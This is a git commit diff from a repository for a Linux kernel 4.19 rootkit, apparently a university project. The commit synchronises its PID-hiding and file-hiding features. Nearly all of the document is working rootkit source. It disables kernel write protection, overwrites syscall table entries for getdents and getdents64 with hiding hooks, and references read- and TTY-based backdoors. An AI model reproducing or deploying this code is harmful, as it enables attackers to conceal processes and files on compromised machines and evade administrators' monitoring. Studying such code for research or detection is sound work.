linux-rootkit

Feature-rich interactive rootkit that targets Linux kernel 4.19, accompanied by a dynamic kernel memory analysis GDB plugin for in vivo introspection (e.g. using QEMU)
git clone git://git.deurzen.net/linux-rootkit
Log | Files | Refs

commit f0f369b9d838670901accb28c0ab7d65f5caa4b9
parent ac0b5d4fef3541be68fe16ca15f3c3faa91e8067
Author: deurzen <m.deurzen@tum.de>
Date:   Sun, 29 Nov 2020 14:33:14 +0100

syncs between hidepid and filehide

Diffstat:
Msrc/channel.c | 6++++--
Msrc/filehide.c | 36+++++++++++++++++++++---------------
Msrc/hidepid.c | 41++++++++++++++++++++++++++++++++++-------
Msrc/hidepid.h | 4+++-
Msrc/hook.c | 18++++++++++++++----
Msrc/hook.h | 3+++
6 files changed, 79 insertions(+), 29 deletions(-)

diff --git a/src/channel.c b/src/channel.c @@ -144,10 +144,12 @@ handle_hidepid(unsigned long arg) unhide_pid((pid_t)(-sarg)); DEBUG_NOTICE("unhiding pid %ld\n", -sarg); } else if (sarg > 0) { - hide_pid((pid_t)sarg); - if (!rootkit.hiding_pids) + if (!rootkit.hiding_pids) { + hide_pids(); DEBUG_NOTICE("hidepid on\n"); + } + hide_pid((pid_t)sarg); rootkit.hiding_pids = 1; DEBUG_NOTICE("hiding pid %ld\n", sarg); } diff --git a/src/filehide.c b/src/filehide.c @@ -14,27 +14,33 @@ void hide_files(void) { - disable_protection(); - sys_calls[__NR_getdents] = (void *)g7_getdents; - sys_calls[__NR_getdents64] = (void *)g7_getdents64; - enable_protection(); + if (atomic_inc_return(&getdents_install_count) == 1) { + disable_protection(); + sys_calls[__NR_getdents] = (void *)g7_getdents; + sys_calls[__NR_getdents64] = (void *)g7_getdents64; + enable_protection(); + } } void unhide_files(void) { - if (sys_getdents) { - disable_protection(); - sys_calls[__NR_getdents] = (void *)sys_getdents; - enable_protection(); - while (atomic_read(&getdents_count) > 0); - } + if (atomic_dec_return(&getdents_install_count) < 0) { + atomic_set(&getdents_install_count, 0); + + if (sys_getdents) { + disable_protection(); + sys_calls[__NR_getdents] = (void *)sys_getdents; + enable_protection(); + while (atomic_read(&getdents_count) > 0); + } - if (sys_getdents64) { - disable_protection(); - sys_calls[__NR_getdents64] = (void *)sys_getdents64; - enable_protection(); - while (atomic_read(&getdents64_count) > 0); + if (sys_getdents64) { + disable_protection(); + sys_calls[__NR_getdents64] = (void *)sys_getdents64; + enable_protection(); + while (atomic_read(&getdents64_count) > 0); + } } } diff --git a/src/hidepid.c b/src/hidepid.c @@ -1,6 +1,7 @@ #include <linux/slab.h> #include <linux/pid.h> +#include "hook.h" #include "hidepid.h" pid_list_t hidden_pids = { @@ -11,6 +12,39 @@ pid_list_t hidden_pids = { pid_list_t_ptr hidden_pids_tail = &hidden_pids; +void +hide_pids(void) +{ + if (atomic_inc_return(&getdents_install_count) == 1) { + disable_protection(); + sys_calls[__NR_getdents] = (void *)g7_getdents; + sys_calls[__NR_getdents64] = (void *)g7_getdents64; + enable_protection(); + } +} + +void +unhide_pids(void) +{ + if (atomic_dec_return(&getdents_install_count) < 0) { + atomic_set(&getdents_install_count, 0); + + if (sys_getdents) { + disable_protection(); + sys_calls[__NR_getdents] = (void *)sys_getdents; + enable_protection(); + while (atomic_read(&getdents_count) > 0); + } + + if (sys_getdents64) { + disable_protection(); + sys_calls[__NR_getdents64] = (void *)sys_getdents64; + enable_protection(); + while (atomic_read(&getdents64_count) > 0); + } + } +} + void hide_pid(pid_t pid) @@ -41,13 +75,6 @@ clear_hidden_pids(void) while ((i = remove_pid_from_list(i, i->pid))); } -void -unhide_pids(void) -{ - clear_hidden_pids(); - // TODO: disable pid hiding -} - bool list_contains_pid(pid_list_t_ptr list, pid_t pid) diff --git a/src/hidepid.h b/src/hidepid.h @@ -14,10 +14,12 @@ typedef struct pid_list { extern pid_list_t hidden_pids; +void hide_pids(void); +void unhide_pids(void); + void hide_pid(pid_t); void unhide_pid(pid_t); void clear_hidden_pids(void); -void unhide_pids(void); void init_pid_list(void); bool list_contains_pid(pid_list_t_ptr, pid_t); diff --git a/src/hook.c b/src/hook.c @@ -17,6 +17,9 @@ extern rootkit_t rootkit; void **sys_calls; +atomic_t read_install_count; +atomic_t getdents_install_count; + atomic_t read_count; atomic_t getdents_count; atomic_t getdents64_count; @@ -42,13 +45,15 @@ retrieve_sys_call_table(void) void init_hooks(void) { - atomic_set(&read_count, 0); - sys_read = (void *)sys_calls[__NR_read]; + atomic_set(&read_install_count, 0); + atomic_set(&getdents_install_count, 0); + atomic_set(&read_count, 0); atomic_set(&getdents_count, 0); - sys_getdents = (void *)sys_calls[__NR_getdents]; - atomic_set(&getdents64_count, 0); + + sys_read = (void *)sys_calls[__NR_read]; + sys_getdents = (void *)sys_calls[__NR_getdents]; sys_getdents64 = (void *)sys_calls[__NR_getdents64]; if (rootkit.hiding_files) @@ -58,6 +63,11 @@ init_hooks(void) backdoor_read(); else if (rootkit.backdoor == BD_TTY) backdoor_tty(); + + if (rootkit.hiding_pids) { + clear_hidden_pids(); + unhide_pids(); + } } void diff --git a/src/hook.h b/src/hook.h @@ -13,6 +13,9 @@ typedef struct { void *orig; } sc_hook_t; +extern atomic_t read_install_count; +extern atomic_t getdents_install_count; + extern atomic_t read_count; extern atomic_t getdents_count; extern atomic_t getdents64_count;